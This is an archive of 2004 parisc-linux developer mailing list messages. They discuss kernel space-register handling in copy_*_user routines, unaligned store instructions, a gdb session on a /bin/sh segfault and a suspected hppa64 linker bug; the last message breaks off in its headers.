Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B09423BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 08:04:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09587-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 08:04:49 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 2C7593BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 08:04:49 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C5m18-00088I-00; Fri, 10 Sep 2004 10:04:46 -0400
Content-Disposition: inline
In-Reply-To: <20040910001557.GK28659@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21957

> - this is the first time the kernel has had to change sr2 in the kernel
>   (thus Carlos' earlier patch to restore it in the syscall path).
>   Arguably we should not do the sr2 save/restore in the syscall path and
>   instead do it in the copy routines, in order to make syscall as fast
>   as possible. Thoughts?

In an optimal world:

- Syscalls must only copy sr7 (user space id) to sr3 (where the kernel expects
  user space id to live), and then set sr7 to kernel space id zero, when
  ready.

- Light weight syscalls clear sr2 so that users don't abuse security.

- syscall_restore should set sr7 to user space id and clear sr2 for
  syscalls (don't reload from TASK_PT).

- syscall_restore_rfi should store sr3 into sr7, and r0 into sr2 for
  restoration in restore_rfi.

- When starting a new process sr7 should be set to the processes space
  id, and sr2 should be cleared for making syscalls with.

a. No userspace code will be using scratch space registers because we
   don't support that. We will be clobbering sr2 for the user. If in 
   the future we decided to change the kernels space, we just clobber
   it to something else. As long as no userspace code is setting sr2
   and expecting it to stay set.

b. The kernel might use temp scratch registers, in which case the
   kernel can use sr1,sr2,sr5 and sr6, though for each sr we use as a
   temporary we have to incur the penalty of a save/restore during an
   interruption (I think that's right eh?).

c. On a schedule we should be saving only the state of those sr's that
   are used as temp and are important to the process?
        --- I need to review code here, I don't know what path is 
            taken during a context switch to save/restore state ---

>   Alternatively, if we play some tricks with the preprocessor we can get
>   away with only using sr1, but having 3 copies of the copy routines in
>   the code. I actually tried this, but found the hacks required to do it
>   to be rather ugly.

Difficult to maintain.
 
> - gcc gurus (Dave :) might think what I'm doing with exceptions to be
>   too ugly^Wfragile. are there better ways to do it? :)

GCC might break this if it gets smarter. Though I like the current
method of indicating volatility.

>   this is a somewhat compelling reason to write the whole thing in
>   assembly (which will also allow for a few more small optimizations).
>   do you think the advantages of maintaining C code outweigh the
>   slight performance penality and hacks required?

Perhaps. The C code is nice though, you could *almost* abstract it to
all architectures that have double,single word,byte load store insns :)

Thanks for this wicked work.

c.
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Optimi[zs]e copy_*_user routines
Date: Fri, 10 Sep 2004 01:14:29 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20040910081429.GL28659@tausq.org>
References: <20040910000032.GJ28659@tausq.org>
	<200409100656.i8A6u4hI026343@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623547 10960 80.91.229.3 (22 Nov 2014 02:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24760 invoked by uid 65534); 10 Sep 2004 08:15:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 10 Sep 2004 10:15:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BCF5B3BDD6; Fri, 10 Sep 2004 02:14:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06853-02; Fri, 10 Sep 2004 02:14:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A8AE03BDDD; Fri, 10 Sep 2004 02:14:30 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93F363BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 02:14:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05731-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 02:14:26 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 468C13BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 02:14:26 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 06E53CD2CB; Fri, 10 Sep 2004 01:14:30 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200409100656.i8A6u4hI026343@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21958

In reference to a message from John David Anglin, dated Sep 10:
> Have you looked at using stby or stdby for unaligned copies?

do you mean for the entire copy, or just to copy enough bytes to get it
aligned?

i've thought about it, for replacing the copy-till-aligned bits, but
haven't tried... i always get confused when i try to understand how
those insns work :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Optimi[zs]e copy_*_user routines
Date: Fri, 10 Sep 2004 04:46:08 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200409100846.i8A8k8ED027093@hiauly1.hia.nrc.ca>
References: <20040910081429.GL28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623547 10965 80.91.229.3 (22 Nov 2014 02:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32509 invoked by uid 65534); 10 Sep 2004 08:46:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 10 Sep 2004 10:46:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AE3A93BDD6; Fri, 10 Sep 2004 02:46:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06887-10; Fri, 10 Sep 2004 02:46:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 800FA3BDDD; Fri, 10 Sep 2004 02:46:16 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 787653BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 02:46:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06853-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 02:46:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 272543BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 02:46:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8A8k945027095; Fri, 10 Sep 2004 04:46:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8A8k8ED027093;
	Fri, 10 Sep 2004 04:46:08 -0400 (EDT)
In-Reply-To: <20040910081429.GL28659@tausq.org> from "Randolph Chung" at Sep
	10, 2004 04:14:29 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21959

> In reference to a message from John David Anglin, dated Sep 10:
> > Have you looked at using stby or stdby for unaligned copies?
> 
> do you mean for the entire copy, or just to copy enough bytes to get it
> aligned?

I believe that the "b" completer can be used to write the first set
of bytes needed to get you to an alignment boundary.  The "e" completer
can be used to store the final residual.  The PA block move in GCC
uses the latter.  Basically, you use aligned loads and stby/stdby
to store the right set of bytes at the beginning and end.  It's much
more efficient than doing the beginning and end byte by byte.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Another SIGSEGV, this time in /bin/sh
Date: Sat, 11 Sep 2004 03:24:01 -0400 (EDT)
Lines: 100
Approved: news@gmane.org
Message-ID: <200409110724.i8B7O1Fc002787@hiauly1.hia.nrc.ca>
References: <200409012008.i81K8mGw011839@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623548 10968 80.91.229.3 (22 Nov 2014 02:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:28 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8739 invoked by uid 65534); 11 Sep 2004 07:25:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 11 Sep 2004 09:25:41 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2EA9A3BDFC; Sat, 11 Sep 2004 01:25:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18730-04; Sat, 11 Sep 2004 01:25:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AFBEC3BDDD; Sat, 11 Sep 2004 01:24:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8B6B3BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 01:24:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17386-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 01:24:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8727B3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 01:24:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8B7O445002788; Sat, 11 Sep 2004 03:24:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8B7O1Fc002787;
	Sat, 11 Sep 2004 03:24:01 -0400 (EDT)
In-Reply-To: <200409012008.i81K8mGw011839@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Sep 1, 2004 04:08:47 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21960

I had another SIGSEGV today building gcc on gsyprf11.

dave@gsyprf11:~/gcc-3.5/objdir$ gdb /bin/sh gcc/core.save.1
GNU gdb 2004-09-01-cvs
...
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/debug/libncurses.so.5...done.
Loaded symbols for /usr/lib/debug/libncurses.so.5
Reading symbols from /usr/lib/debug/libdl.so.2...done.
Loaded symbols for /usr/lib/debug/libdl.so.2
Reading symbols from /usr/lib/debug/libc.so.6...done.
Loaded symbols for /usr/lib/debug/libc.so.6
Reading symbols from /lib/ld.so.1...done.
Loaded symbols for /lib/ld.so.1
#0  0xf7025554 in ?? ()

Looking at %r2, it appears that the fault has occurred in an indirect
call from __strtoll_internal:

(gdb) p/x $rp
$1 = 0x40785883
(gdb) disass 0x40785860 0x40785888
Dump of assembler code from 0x40785860 to 0x40785888:
0x40785860 <*__GI___strtoll_internal+2972>:     copy r19,r4
0x40785864 <*__GI___strtoll_internal+2976>:     b,l 0x4076c508 <__gconv_read_conf+916>,r31
0x40785868 <*__GI___strtoll_internal+2980>:     copy r31,rp
0x4078586c <*__GI___strtoll_internal+2984>:     b,l 0x40785848 <*__GI___strtoll_internal+2948>,r0
0x40785870 <*__GI___strtoll_internal+2988>:     copy r4,r19
0x40785874 <*__GI___strtoll_internal+2992>:     copy r19,r4
0x40785878 <*__GI___strtoll_internal+2996>:     b,l 0x4076c508 <__gconv_read_conf+916>,r31
0x4078587c <*__GI___strtoll_internal+3000>:     copy r31,rp

We appear to have reached 0x40785874 from the following code:

0x40784d40 <*__GI___strtoll_internal+124>:      ldi 24,r20
0x40784d44 <*__GI___strtoll_internal+128>:      cmpb,>= r20,r9,0x40784db8 <*__GI___strtoll_internal+244>
0x40784d48 <*__GI___strtoll_internal+132>:      addil 1000,r19,%r1
...
0x40784db8 <*__GI___strtoll_internal+244>:      ldw -124(,sp),r7
0x40784dbc <*__GI___strtoll_internal+248>:      ldi 20,r10
---Type <return> to continue, or q <return> to quit---
0x40784dc4 <*__GI___strtoll_internal+256>:      stw r7,-f0(,sp)
0x40784dc8 <*__GI___strtoll_internal+260>:      addil 1000,r19,%r1
0x40784dcc <*__GI___strtoll_internal+264>:      copy r3,r8
0x40784dd0 <*__GI___strtoll_internal+268>:      ldw 390(,r1),r6
0x40784dd4 <*__GI___strtoll_internal+272>:      ldw 98(,r3),r22
0x40784dd8 <*__GI___strtoll_internal+276>:      addil 1000,r19,%r1
0x40784ddc <*__GI___strtoll_internal+280>:      cmpib,<> 0,r22,0x40785874 <*__GI
I___strtoll_internal+2992>

The address for the indirect call, r22, was loaded as follows:
(gdb) p/x *($r3 + 0x98)
$20 = 0xf7025555

Some interesting registers:
(gdb) p/x $r10
$23 = 0x20
(gdb) p/x $r3
$13 = 0xe3c08
(gdb) p/x $r8
$16 = 0xe3c08
(gdb) p/x $r6
$18 = 0x408a1c8c
(gdb) p/x *($r19 + 0x1000 + 0x390)
$17 = 0x408a1c8c
(gdb) p/x $r7
$21 = 0xd65e8
(gdb) p/x *($sp - 0xf0)
$22 = 0xd65e8

This establishes how we got to the failure point.

It would appear that r3 has either been clobbered by the kernel, or there
is a problem with the memory access by which it was loaded:

(gdb) p/x *($r19 + 0x1000 + 0x354)
$12 = 0x408a98fc

This should have given the r3 value.  The same procedure gave the r6 value.

(gdb) p/x *(*($r19 + 0x1000 + 0x354) + 0x98)
$19 = 0x0

This is probably the value that r22 should have had.

The failure doesn't happen consistently as rerunning the script which failed
was successful.

Any thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] is this a known hppa64-linux-ld bug?
Date: Sat, 11 Sep 2004 02:17:25 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20040911091725.GM28659@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623548 10970 80.91.229.3 (22 Nov 2014 02:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9808 invoked by uid 65534); 11 Sep 2004 09:18:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 11 Sep 2004 11:18:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EBB613BDFD; Sat, 11 Sep 2004 03:18:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19331-04; Sat, 11 Sep 2004 03:18:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DE2AD3BDF4; Sat, 11 Sep 2004 03:17:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B37613BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 03:17:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19331-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 03:17:25 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 6F63C3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 03:17:25 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E904ACD633; Sat, 11 Sep 2004 02:17:25 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21961

i'm doing some experiments with code that contains:

.section .text.function, "ax"
....
1: stw %r19,(%sr3,%r20)
2: /* some other insn */
....

.section .fixup, "ax"
3: b,l 2b
.previous

.section __ex_table, "aw"
.dword 1b,3b
.previous

when this code is compiled and assembled, i can see in the disassembly
that the insn at "3:" contains a PCREL17F reloc against
.text.function+xxx which is pointing to the location of "2:". So far so
good...

But after linking with the rest of the kernel, the b,l address at "3:"
is wrong (it points to an address that is an offset from the __ex_table
section). 

not sure why this is happening, but it looks like a ld bug?

does anybody have a suggestion for a workaround? 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] is this a known hppa64-linux-ld bug?
Date: Sat, 11 Sep 2004 06:06:09 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200409111006.i8BA6ACE003756@hiauly1.hia.nrc.ca>
References: <20040911091725.GM28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623548 10976 80.91.229.3 (22 Nov 2014 02:32:28 GMT)
